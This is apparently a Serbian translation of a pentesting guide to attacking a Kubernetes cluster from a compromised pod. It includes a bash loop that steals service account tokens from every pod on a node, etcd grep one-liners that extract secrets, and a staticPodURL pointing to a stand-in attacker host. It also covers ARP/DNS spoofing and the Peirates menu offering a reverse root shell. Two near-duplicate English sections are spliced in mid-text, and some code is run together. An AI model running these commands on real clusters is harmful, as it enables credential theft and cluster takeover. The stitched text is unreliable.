Obično se Podovi pokreću sa tokenom servisnog naloga unutar njih. Ovaj servisni nalog može imati neke privilegije pridružene koje biste mogli zloupotrebiti da biste se pomerili ka drugim Podovima ili čak da pobegnete na čvorove konfigurisane unutar klastera. Pogledajte kako u:
Ako se Pod pokreće unutar oblak okruženja, možda ćete moći da procurite token sa metapodatkovnog endpointa i da dignete privilegije koristeći ga.
Pretraga ranjivih mrežnih servisa
Kako ste unutar Kubernetes okruženja, ako ne možete da dignete privilegije zloupotrebom trenutnih privilegija Podova i ne možete da pobegnete iz kontejnera, trebalo bi da pretražite potencijalno ranjive servise.
Servisi
Za tu svrhu, možete pokušati da dobijete sve servise Kubernetes okruženja:
kubectl get svc --all-namespaces
Podrazumevano, Kubernetes koristi ravnu mrežnu šemu, što znači da bilo koji pod/servis unutar klastera može komunicirati sa drugima. Prostori imena unutar klastera podrazumevano nemaju ograničenja mrežne sigurnosti. Bilo ko u prostoru imena može komunicirati sa drugim prostorima imena.
Skeniranje
Sledeći Bash skript (preuzet sa Kubernetes radionice) će instalirati i skenirati IP opsege kubernetes klastera:
U slučaju da kompromitovani pod pokreće neku osetljivu uslugu gde drugi podovi treba da se autentifikuju, možda ćete moći da dobijete pristupnim podacima poslatim iz drugih podova snifovanjem lokalnih komunikacija.
Mrežno falsifikovanje
Podrazumevano, tehnike poput ARP falsifikovanja (i zahvaljujući tome DNS falsifikovanje) funkcionišu u Kubernetes mreži. Zatim, unutar poda, ako imate NET_RAW sposobnost (koja je podrazumevano dostupna), moći ćete da šaljete prilagođene mrežne pakete i izvodite MitM napade putem ARP falsifikovanja na sve podove koji se izvršavaju na istom čvoru.
Osim toga, ako zlonamerni pod radi na istom čvoru kao DNS server, moći ćete izvesti DNS falsifikovanje napad na sve podove u klasteru.
Ne postoji specifikacija resursa u manifestima Kubernetes-a i nisu primenjeni limiti opsega za kontejnere. Kao napadač, možemo iskoristiti sve resurse gde se pod/deployment izvršava i iscrpiti druge resurse i izazvati DoS za okruženje.
# Check Kubelet privilegeskubectl--kubeconfig/var/lib/kubelet/kubeconfigauthcan-icreatepod-nkube-system# Steal the tokens from the pods running in the node# The most interesting one is probably the one of kube-systemALREADY="IinItialVaaluE"for i in $(mount|sed-n'/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); doTOKEN=$(cat $(echo $i |sed's/.namespace$/\/token/'))if! [ $(echo $TOKEN |grep-E $ALREADY) ]; thenALREADY="$ALREADY|$TOKEN"echo"Directory: $i"echo"Namespace: $(cat $i)"echo""echo $TOKENecho"================================================================================"echo""fidone
Skripta can-they.sh automatski će dobiti tokene drugih podova i proveriti da li imaju dozvolu koju tražite (umesto da sami gledate 1 po 1):
DaemonSet je pod koji će se izvršavati na svim čvorovima klastera. Dakle, ako je DaemonSet konfigurisan sa privilegovanim servisnim nalogom, na SVIM čvorovima moći ćete pronaći token tog privilegovanog servisnog naloga koji biste mogli zloupotrebiti.
Eksploatacija je ista kao u prethodnom odeljku, ali sada ne zavisiš o sreći.
Pivoting ka Oblaku
Ako je klaster upravljan uslugom u oblaku, obično će čvor imati drugačiji pristup metapodacima nego Pod. Stoga, pokušajte pristupiti metapodacima sa čvora (ili iz poda sa hostNetwork na True):
Ako možete specificirati nodeName čvora koji će pokrenuti kontejner, dobijte shell unutar čvora kontrolne ravni i preuzmite etcd bazu podataka:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
control-plane čvorovi imaju ulogu master i u klasterima upravljanim u oblaku nećete moći pokrenuti ništa na njima.
Čitanje tajni iz etcd
Ako možete pokrenuti svoj pod na control-plane čvoru koristeći selektor nodeName u specifikaciji poda, možda ćete imati jednostavan pristup etcd bazi podataka, koja sadrži sve konfiguracije za klaster, uključujući sve tajne.
Ispod je brz i prljav način za dobijanje tajni iz etcd ako se pokreće na control-plane čvoru na kojem se nalazite. Ako želite elegantnije rešenje koje pokreće pod sa etcd klijentskim alatom etcdctl i koristi akreditive control-plane čvora za povezivanje sa etcd gde god se pokreće, pogledajte ovaj primer manifesta od @mauilion.
Proverite da li se etcd pokreće na control-plane čvoru i vidite gde se baza podataka nalazi (Ovo je na klasteru kreiranom pomoću kubeadm)
## Attacking Kubernetes from Inside a Pod### IntroductionWhen an attacker gains access to a Kubernetes pod, they are already inside the cluster and can potentially access other pods and services. This section covers various techniques that an attacker can use to escalate privileges and move laterally within the cluster.
### Escalating Privileges#### Accessing the Kubernetes APIIf the pod has a service account token mounted, the attacker can use it to access the Kubernetes API and perform actions based on the permissions associated with that service account.
#### Exploiting Kubernetes RBACIf the pod has excessive permissions assigned through Role-Based Access Control (RBAC), the attacker can abuse these permissions to perform unauthorized actions within the cluster.
### Moving Laterally#### Pod HoppingAn attacker can move laterally by compromising one pod and then using it as a pivot to attack other pods within the cluster.
#### Service Account CompromiseIf the attacker can compromise a service account token within a pod, they can use it to authenticate to other services within the cluster, potentially gaining access to sensitive information.
### ConclusionBy understanding these techniques, security professionals can better defend Kubernetes clusters against internal threats and unauthorized access.
data-dir=/var/lib/etcd
Pregledajte podatke u etcd bazi podataka:
strings/var/lib/etcd/member/snap/db|less
Izvadite tokene iz baze podataka i prikažite ime servisnog naloga
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
Isti komanda, ali neki grepi da vrate samo podrazumevani token u kube-system namespace-u
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod### IntroductionWhen an attacker gains access to a Kubernetes pod, they are already inside the cluster and can potentially access other pods and services. This section explores various techniques that an attacker can use to escalate privileges and move laterally within the cluster.
### Privilege Escalation#### Exploiting Misconfigured RBAC RolesIf the attacker finds a pod with overly permissive Role-Based Access Control (RBAC) roles assigned, they can abuse these privileges to access resources they shouldn't be able to.
#### Accessing the Kubernetes API ServerBy accessing the Kubernetes API server from inside a pod, an attacker can potentially gain full control over the cluster. They can execute commands, create or delete resources, and perform other malicious activities.
### Lateral Movement#### Port ForwardingUsing port forwarding, an attacker can access services running on other pods within the cluster. This can help them move laterally and pivot to other parts of the cluster.
#### Pod to Pod CommunicationIf the attacker compromises one pod, they can use it as a stepping stone to attack other pods within the cluster. This lateral movement can help them escalate privileges and access sensitive data.
### ConclusionSecuring Kubernetes clusters is crucial to prevent attackers from exploiting vulnerabilities and moving freely within the cluster. Regular security assessments and audits can help identify and mitigate these risks.
Statički Pods se upravljaju direktno od strane kubelet demona na određenom čvoru, bez posmatranja od strane API servera. Za razliku od Podova koji su upravljani od strane kontrolne ravni (na primer, Deployment); umesto toga, kubelet posmatra svaki statički Pod (i ponovo ga pokreće ako ne uspe).
Stoga, statički Podovi su uvek vezani za jedan Kubelet na određenom čvoru.
Kubelet automatski pokušava da kreira ogledni Pod na Kubernetes API serveru za svaki statički Pod. To znači da su Podovi koji se izvršavaju na čvoru vidljivi na API serveru, ali ih ne možete kontrolisati odatle. Imena Podova će biti sufiksirana sa imenom čvora sa vodećim crticom.
spec statičkog Pod-a ne može se odnositi na druge API objekte (npr. ServiceAccount, ConfigMap, Secret, itd. Dakle ne možete zloupotrebiti ovu ponašanje da pokrenete pod sa proizvoljnim serviceAccount-om na trenutnom čvoru kako biste ugrozili klaster. Ali možete koristiti ovo da pokrenete podove u različitim namespace-ovima (ako je to korisno iz nekog razloga).
Ako se nalazite unutar čvora, možete ga naterati da kreira statički pod unutar samog sebe. Ovo je prilično korisno jer vam može omogućiti da kreirate pod u drugom namespace-u poput kube-system.
Konfigurišite parametar --pod-manifest-path=/etc/kubernetes/manifests u kubelet servisu, ili u kubelet konfiguraciji (staticPodPath) i restartujte servis
Kreirajte definiciju na definiciji poda u /etc/kubernetes/manifests
Još jedan diskretniji način bi bio:
Modifikujte parametar staticPodURL iz kubelet konfiguracione datoteke i postavite nešto poput staticPodURL: http://napadac.com:8765/pod.yaml. Ovo će naterati kubelet proces da kreira statički pod dobijajući konfiguraciju sa naznačenog URL-a.
Primer konfiguracije poda za kreiranje privilegovanog poda u kube-system preuzet sa ovde:
Brisanje podova + čvorova koji nisu u mogućnosti da izvrše
Ako je napadač kompromitovao čvor i može brisati podove sa drugih čvorova i onemogućiti druge čvorove da izvrše podove, podovi će biti ponovo pokrenuti na kompromitovanom čvoru i on će moći ukrasti token koji se izvršava u njima.
Za više informacija pratite ove linkove.
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates